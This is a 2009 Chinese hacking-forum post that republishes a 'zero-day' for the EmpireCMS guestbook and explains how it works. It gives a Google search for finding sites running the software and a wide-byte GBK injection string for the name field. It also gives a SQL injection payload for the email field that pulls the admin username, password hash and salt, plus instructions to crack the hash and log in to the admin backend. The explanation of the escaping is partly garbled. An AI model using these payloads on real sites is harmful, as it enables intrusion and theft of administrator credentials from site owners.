找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 728|回复: 0

分析帝国CMS留言板漏洞

[复制链接]

735

主题

1102

回帖

3076

牛毛

二级牛人

积分
3096
QQ
发表于 2009-7-19 07:42:37 | 显示全部楼层 |阅读模式 来自 山东省威海市
分析帝国CMS留言板漏洞
深灰丢出来的0day.
      找到使用帝国CMS的站,网址后面直接加:e/tool/gbook/?bid=1
      例如:www.xxx.com/e/tool/gbook/?bid=1
      出来的是帝国CMS的留言本,在姓名处写:縗\
      联系邮箱处写:
,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
      提交后爆出账号密码
      测试方法:利用google搜索关键字 inurl:e/tool/gbook/?bid=1,然后依照上面方式留言,显示结果即爆出管理员帐号和密码md5值,破解密码登陆后台。
      只公布了oday的利用方法,并没有说明其中的一些原理,今天壮壮胆,跟大家分析一下
      1.这个漏洞就是php注入,上面的注入语句大家也看到了
,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
      查询phome_enewsuser表段中username,password,rnd三个字段信息,查询的条件是userid=1,排在第一位的,估计也是管理员,当然如果网站存在多个管理员,可以把1换成其他数字
      2.姓名处写:縗\
      为什么要写:縗\?这里涉及到一个双字节漏洞
      要知道这个需要了解几个知识点
      1)如果安装过php环境的朋友应该知道,在php.ini中有一个get_magic_quotes_gpc功能
      当这个功能打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动加上转义符\
      当这个功能开启时,字符串可以直接入库
      2)注入大家知道,要用到“and” ,and被php转义为%df,由于 get_magic_quotes_gpc开启,所以自动加入了“\” ,“\"转换为十六进制后为%5C 。
      由于看出,其实我们输入“and”被php转义成为%df%5c
      但是当这些字符进入mysql数据库进行GBK编码时,就会被认为这是一个宽字符,也就是"縗"
      总结一下:
      %df'?==>? %df\'??==> ?%df%5c'??==> ?縗'
      这就是php中常见的宽字节漏洞,也称双字节漏洞
      如我们在平时的检测过程中替代原来的 and 1=1
      %df%27 or 1=1/*
      %df%27 or 1=2/*
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-28 13:10 , Processed in 0.170999 second(s), 35 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表